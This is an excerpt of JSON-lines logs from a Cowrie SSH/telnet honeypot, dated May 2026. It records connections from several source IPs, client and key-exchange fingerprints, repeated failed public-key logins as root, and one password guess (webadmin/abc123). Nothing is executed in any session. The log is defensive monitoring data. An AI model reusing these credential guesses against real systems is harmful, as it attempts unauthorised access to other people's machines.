{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:a6:c2:65:2a:12:36:c5:0c:86:9d:b7:5a:ee:89:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtC/+BtpJezRDr/gXCITkLHM1c5n6KJj7BiTqQEj66oo5s73HnlUeHlok/27+fjMsr6v1wD170+lZXQHaRYeQHZleDuc7Sjc7GbOZ9VSNNoEuu06bISG28aGwZR04dwsCv+Idupd5EVW0n0CWiG38q0kFHfGfo3409C+qqk1Az1YLH1JDztuTqXMcgF+Qn+DpnGgvaBeChkCMaRB+J8RhGfpXr2KCsXJRHfkgrSZWtMDkr95+hmsFByzZNJrzelK9+SBan7wnkUB5fOHzCgroXnGRAaKNuHWM0fAmT0domwwCdl5rOC190cmnV+o/m06/PgjICgmHOvZprdBApLXef3dMdJULLTJJ1UnDNrKGHPgTc2ZExySQtPls6SFTEXW8mJfndnzp3uMOXn3MxZssxV+llP4JqOH7AyRmppj14YhnjxgpuKgVyq4jPIFFxi1iCCtAutvqglClAOMXvlZv09BwS1o5WSJlq1pX/V1Ixu4ReUI7/gntoRvUqnDdBaU4Z4Dbb5wnOYQQowyLpU1dCqu9n/wjqKcVpRwzSEijUK1fSHiAMTcuzpoZjxjRovQkAAC7ahOujS30di6vfcHdrN7liVzjIo3nsVilCH8zFeTgqvkYkxcD7lzy8KNR1+yR3v9eB1FptK8aN5sEaAoo+UQZaoVtYvyB/ZOOOj6NbDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:43.953682Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:13:20:76:27:36:07:b4:8f:6f:25:5d:50:99:16:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfTC5k2JMbqMJTmW08RRJOjBXWnRkv1dX0LlECyxv1v+WNl3XPwmtDJmdGXhlkKSRjLUbYyTjTRbXaHZpFm8N0ZxrGK61CZMsOcwNgf3a88lWt/nCu4eOqGU/za9HGa+bg9+OJZmqJbtcYGsO4w2YydIR0siudOwie3MmYfUWN7tsVHWGpJgs5cUhVgkw9Jz9efuCh55RbygzzPPvYGqno+No6ttfSrGrd6NHUkDTkSak5QO2viGj+YaRXEDLE2ZDr6Hswow/1KqwcFgoKjGO3/LcNQoyO1KARg6q513NcB0L7lnIk9a49syB+igSP1JFQrmZW5luQny2GNLgJBrJYr7pZd57N2hkN7YwadXe4I9CbFvSadaRPtQtzIY8fNqZ0sAD4w+2BPk72790gdZPaGIjUBeokGQSfE7lDA9E4JmpojVJUXI9TekV1iNJpEYJ0GyaoLqKLpCKasYiDfHAiPZkflLkZkSRDlKbSazRBWxgDqXFwAT6BaDsNWyfMevXVUL+Aq3k/+3XesvIxUWmNLj4tfQVI3tWVgVQGxLdcN+dYbU6WEcJiSaiYbz9SusmgHzMGfI9E+z2aSN19+mrOd0Q7z6sknzmzCanPe4BxxxwnonxM5qwpZTe2uH0lnZzg5uvc0IHImQtC17/XA68BhaAFsjv83TJbua26NCdMmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:13:20:76:27:36:07:b4:8f:6f:25:5d:50:99:16:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:44.080784Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:13:20:76:27:36:07:b4:8f:6f:25:5d:50:99:16:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfTC5k2JMbqMJTmW08RRJOjBXWnRkv1dX0LlECyxv1v+WNl3XPwmtDJmdGXhlkKSRjLUbYyTjTRbXaHZpFm8N0ZxrGK61CZMsOcwNgf3a88lWt/nCu4eOqGU/za9HGa+bg9+OJZmqJbtcYGsO4w2YydIR0siudOwie3MmYfUWN7tsVHWGpJgs5cUhVgkw9Jz9efuCh55RbygzzPPvYGqno+No6ttfSrGrd6NHUkDTkSak5QO2viGj+YaRXEDLE2ZDr6Hswow/1KqwcFgoKjGO3/LcNQoyO1KARg6q513NcB0L7lnIk9a49syB+igSP1JFQrmZW5luQny2GNLgJBrJYr7pZd57N2hkN7YwadXe4I9CbFvSadaRPtQtzIY8fNqZ0sAD4w+2BPk72790gdZPaGIjUBeokGQSfE7lDA9E4JmpojVJUXI9TekV1iNJpEYJ0GyaoLqKLpCKasYiDfHAiPZkflLkZkSRDlKbSazRBWxgDqXFwAT6BaDsNWyfMevXVUL+Aq3k/+3XesvIxUWmNLj4tfQVI3tWVgVQGxLdcN+dYbU6WEcJiSaiYbz9SusmgHzMGfI9E+z2aSN19+mrOd0Q7z6sknzmzCanPe4BxxxwnonxM5qwpZTe2uH0lnZzg5uvc0IHImQtC17/XA68BhaAFsjv83TJbua26NCdMmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:44.084937Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:f9:74:a5:b0:3f:7d:bf:16:26:9d:f6:56:3f:8d:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuhbyUHqvQhWh2+YNnET6K30rbaUupV9gcuX/CYzLOXIlp7acv/GJVvJfXwHWBd5rp2hwjYr4CdTrLOSGA+mpJIV8G3FWnVprTjcBJnYw5swB9ht3cGmuwe8Jnqd6CjcvVogMd0AXfDDHseBK9Io7d2za4rCWsYBI+FUNSDeFvoBlRw3Oxr5PD0QSYK4TQjTxEGG0g9jPpUMN9fV2jHqAytg++MMEdlPcnF9uopPplZVWVVLrH7Nzk0NYtX3R7pWT59fNaLDqWgAD72p4H4w66nq5UXvXitKRoKbbjabT9yqGAnHl2YK9oVjj8Aj1ukKq1EXEcU0l3JRJe1VvX27PrvMF7Anuy8GxKyhplbuh84bbdvwYR1Zs5XFCXILTg8yaVQzFMl0OFbW7GOIBAV8GGmo7Kz6smDJbz7FueuPzcvnEwTjmR/FlOZSZic37zZxvTuikDVqHnsDYQzLmRApx9C7/Vmg3JjFhf5/t99Xwd/wIhS0Ntj34u2LBqsPYaarQQ9sA1ZS3xNYK9/NtvkQeCc2teMFIApwYNA3LTnx524gLF5d9btqR1A7Xsuy5Yk3vmN9AkQDJ51L1iKPs/Z5Fiqsz1yRfHceRTFIYu0F/oa4BWQFlvsu7DwAIun0kdJY+cSv5slKNlTIe4KZsGYIvwj9HrDC1WIpXWD0rqyc6SZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:f9:74:a5:b0:3f:7d:bf:16:26:9d:f6:56:3f:8d:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:44.209152Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:f9:74:a5:b0:3f:7d:bf:16:26:9d:f6:56:3f:8d:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuhbyUHqvQhWh2+YNnET6K30rbaUupV9gcuX/CYzLOXIlp7acv/GJVvJfXwHWBd5rp2hwjYr4CdTrLOSGA+mpJIV8G3FWnVprTjcBJnYw5swB9ht3cGmuwe8Jnqd6CjcvVogMd0AXfDDHseBK9Io7d2za4rCWsYBI+FUNSDeFvoBlRw3Oxr5PD0QSYK4TQjTxEGG0g9jPpUMN9fV2jHqAytg++MMEdlPcnF9uopPplZVWVVLrH7Nzk0NYtX3R7pWT59fNaLDqWgAD72p4H4w66nq5UXvXitKRoKbbjabT9yqGAnHl2YK9oVjj8Aj1ukKq1EXEcU0l3JRJe1VvX27PrvMF7Anuy8GxKyhplbuh84bbdvwYR1Zs5XFCXILTg8yaVQzFMl0OFbW7GOIBAV8GGmo7Kz6smDJbz7FueuPzcvnEwTjmR/FlOZSZic37zZxvTuikDVqHnsDYQzLmRApx9C7/Vmg3JjFhf5/t99Xwd/wIhS0Ntj34u2LBqsPYaarQQ9sA1ZS3xNYK9/NtvkQeCc2teMFIApwYNA3LTnx524gLF5d9btqR1A7Xsuy5Yk3vmN9AkQDJ51L1iKPs/Z5Fiqsz1yRfHceRTFIYu0F/oa4BWQFlvsu7DwAIun0kdJY+cSv5slKNlTIe4KZsGYIvwj9HrDC1WIpXWD0rqyc6SZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:44.213109Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:ef:df:17:b3:19:83:dd:98:f3:ef:ad:03:98:99:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN5Fh0+qS2McSQO6krZgcjeP1FjVIZbKyIlZeXNwDZk/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 45:ef:df:17:b3:19:83:dd:98:f3:ef:ad:03:98:99:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:44.335811Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:ef:df:17:b3:19:83:dd:98:f3:ef:ad:03:98:99:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN5Fh0+qS2McSQO6krZgcjeP1FjVIZbKyIlZeXNwDZk/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:44.339722Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:44.463104Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.621052980422974,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:44.504423Z","src_ip":"45.219.174.150","session":"9154be9b577a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.53.148.190","src_port":51172,"dst_ip":"10.17.0.5","dst_port":22,"session":"63dc5452cbb7","protocol":"ssh","message":"New connection: 101.53.148.190:51172 (10.17.0.5:22) [session: 63dc5452cbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:12.657104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:12.661541Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:12.883199Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:ea:63:b0:3f:c1:06:24:45:19:32:46:fa:93:17:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrt1l3D7MstMxaPwEEj8p63zbXZaZFAZJmQxLrx4sHo1CUaA7bBmq+6VJ+of+S1eBM7g8Nins67hweHl1ASd2Cowvn+YoGekU3Nm6DOb/gre+j9mk4hSVEYlqQCY31B7N/5NIwNIg1sT/lZYZWL06b3PFv6RFx2o8UHPUPmarRttUTyi77Z3vnyj9egw+q1dbzGBhZ6F2CJztwxXLH0QY8k+Jqsj29msGjSGVq4yB9DCH18t6Hk7Qna5/hJhFxmdTuZ+YXT/dAwBCY+kyd075toSJVyI4YKFvssp2bCrB+JcUb5YviI91yyJOjazj9DEr4tMcuWQcRXYDGq7S5qEPZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:ea:63:b0:3f:c1:06:24:45:19:32:46:fa:93:17:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:13.971127Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:ea:63:b0:3f:c1:06:24:45:19:32:46:fa:93:17:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrt1l3D7MstMxaPwEEj8p63zbXZaZFAZJmQxLrx4sHo1CUaA7bBmq+6VJ+of+S1eBM7g8Nins67hweHl1ASd2Cowvn+YoGekU3Nm6DOb/gre+j9mk4hSVEYlqQCY31B7N/5NIwNIg1sT/lZYZWL06b3PFv6RFx2o8UHPUPmarRttUTyi77Z3vnyj9egw+q1dbzGBhZ6F2CJztwxXLH0QY8k+Jqsj29msGjSGVq4yB9DCH18t6Hk7Qna5/hJhFxmdTuZ+YXT/dAwBCY+kyd075toSJVyI4YKFvssp2bCrB+JcUb5YviI91yyJOjazj9DEr4tMcuWQcRXYDGq7S5qEPZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:13.977093Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":43030,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a87991c208a","protocol":"ssh","message":"New connection: 201.6.100.191:43030 (159.203.135.109:22) [session: 2a87991c208a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.040825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.045452Z","src_ip":"201.6.100.191","session":"2a87991c208a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.176625Z","src_ip":"201.6.100.191","session":"2a87991c208a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:96:5b:6f:9b:6c:8d:97:c9:18:84:34:1d:3c:2e:2a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICR7j/MY42yBWRUI4LYsyn05IX8SsX8qBgV9wGK7j0kX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 13:96:5b:6f:9b:6c:8d:97:c9:18:84:34:1d:3c:2e:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.200714Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:96:5b:6f:9b:6c:8d:97:c9:18:84:34:1d:3c:2e:2a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICR7j/MY42yBWRUI4LYsyn05IX8SsX8qBgV9wGK7j0kX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.204887Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:7d:fc:f1:bc:27:d1:b0:47:50:ec:d9:a6:db:83:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT5wcyaTS/xLSmLt9hjWDJNkszVke4RTQ957HPR9Azm+7Kzbo0lx4G4EiICiDYla8yPOmlnDBZYcfVk+MkyDiIFmr1F9QNa2eOYM30re5dect4zK2Ck9lhbVCQWMIglrktfV+u1atpBgpilSfpoGuk0Narz39yzQGA8yfvcpKVn2kKKio+m2o8T5mkjXHH1TSyfIsv3SeeCmR22MPLRGzD9/MNWRNjoya1C2JEUhbubJH2c7njGe6JnyzyCnrWu8HoXFxKS/MYnbfbyPx12NgqxNhI0tbXwsQrHAcF8TmKoBrniAVR/EHc9NtQZI6kf28TjCBbgR2baPPcW6Es+ZQ/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:7d:fc:f1:bc:27:d1:b0:47:50:ec:d9:a6:db:83:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.427770Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:7d:fc:f1:bc:27:d1:b0:47:50:ec:d9:a6:db:83:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT5wcyaTS/xLSmLt9hjWDJNkszVke4RTQ957HPR9Azm+7Kzbo0lx4G4EiICiDYla8yPOmlnDBZYcfVk+MkyDiIFmr1F9QNa2eOYM30re5dect4zK2Ck9lhbVCQWMIglrktfV+u1atpBgpilSfpoGuk0Narz39yzQGA8yfvcpKVn2kKKio+m2o8T5mkjXHH1TSyfIsv3SeeCmR22MPLRGzD9/MNWRNjoya1C2JEUhbubJH2c7njGe6JnyzyCnrWu8HoXFxKS/MYnbfbyPx12NgqxNhI0tbXwsQrHAcF8TmKoBrniAVR/EHc9NtQZI6kf28TjCBbgR2baPPcW6Es+ZQ/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.431571Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:0b:41:6d:12:60:cf:9c:ef:db:2a:4e:6a:40:66:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCplHvED+EzV2JuaFCt/m4LnvapRVuqw9G3cOX7HbImJ6gymohDQ31LpFK1RVVk8nVWBpGQfEaPb3D0a8KwuJw+WAguQT8V7Qy8N35crtRntSOB8T6t+JpoYTOi7mqQccsww9e9miTOVmVeO5heXwrhpLZpsCyskq/QrtI7sCYIb7tqMn2rraKG5E/O6sqq5gx6apjtHmDjYO85dmfqK997WO/LkjwV9/wt9iR51/OdLBBgPEWSGKTlbvKrBeIXLSYFRtcHzi13sA9qTt9KlJxGvqdAUUNzcXmU7txoztxILSC91tfm4qLEu6DH8bHiV4F/iiCr+Q66F0zQYvxFpHE++HPvAzXrdF14reXSj9bIx37Xe6Q9zQmzudhEra0b3IrCFi9iekliZfnz8mTGnak7jX8PyUd5zgKm6Fq7V7jdhMWvzY4pHNG3DExe627A3SbKvTxH0w7uCCljxx8upVglTTySCQ7K3yvqH40Rutiz9anOJlGW3ovk6XFd3T3mcIs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:0b:41:6d:12:60:cf:9c:ef:db:2a:4e:6a:40:66:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.657756Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:0b:41:6d:12:60:cf:9c:ef:db:2a:4e:6a:40:66:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCplHvED+EzV2JuaFCt/m4LnvapRVuqw9G3cOX7HbImJ6gymohDQ31LpFK1RVVk8nVWBpGQfEaPb3D0a8KwuJw+WAguQT8V7Qy8N35crtRntSOB8T6t+JpoYTOi7mqQccsww9e9miTOVmVeO5heXwrhpLZpsCyskq/QrtI7sCYIb7tqMn2rraKG5E/O6sqq5gx6apjtHmDjYO85dmfqK997WO/LkjwV9/wt9iR51/OdLBBgPEWSGKTlbvKrBeIXLSYFRtcHzi13sA9qTt9KlJxGvqdAUUNzcXmU7txoztxILSC91tfm4qLEu6DH8bHiV4F/iiCr+Q66F0zQYvxFpHE++HPvAzXrdF14reXSj9bIx37Xe6Q9zQmzudhEra0b3IrCFi9iekliZfnz8mTGnak7jX8PyUd5zgKm6Fq7V7jdhMWvzY4pHNG3DExe627A3SbKvTxH0w7uCCljxx8upVglTTySCQ7K3yvqH40Rutiz9anOJlGW3ovk6XFd3T3mcIs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.662383Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"abc123","message":"login attempt [webadmin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.721858Z","src_ip":"201.6.100.191","session":"2a87991c208a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:f2:52:5c:2a:7d:9c:7f:5a:7e:b0:ee:e4:a1:cf:e2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPgNV461I9fdVFo0ATNO0CqGZgy6/xKmC24lODrUsmon","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4f:f2:52:5c:2a:7d:9c:7f:5a:7e:b0:ee:e4:a1:cf:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.888915Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:f2:52:5c:2a:7d:9c:7f:5a:7e:b0:ee:e4:a1:cf:e2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPgNV461I9fdVFo0ATNO0CqGZgy6/xKmC24lODrUsmon","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:14.897112Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:15.123223Z","src_ip":"101.53.148.190","session":"63dc5452cbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:15.858642Z","src_ip":"201.6.100.191","session":"2a87991c208a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.115","src_port":37586,"dst_ip":"10.17.0.5","dst_port":22,"session":"007d516b3e7d","protocol":"ssh","message":"New connection: 191.101.33.115:37586 (10.17.0.5:22) [session: 007d516b3e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.417335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.421542Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
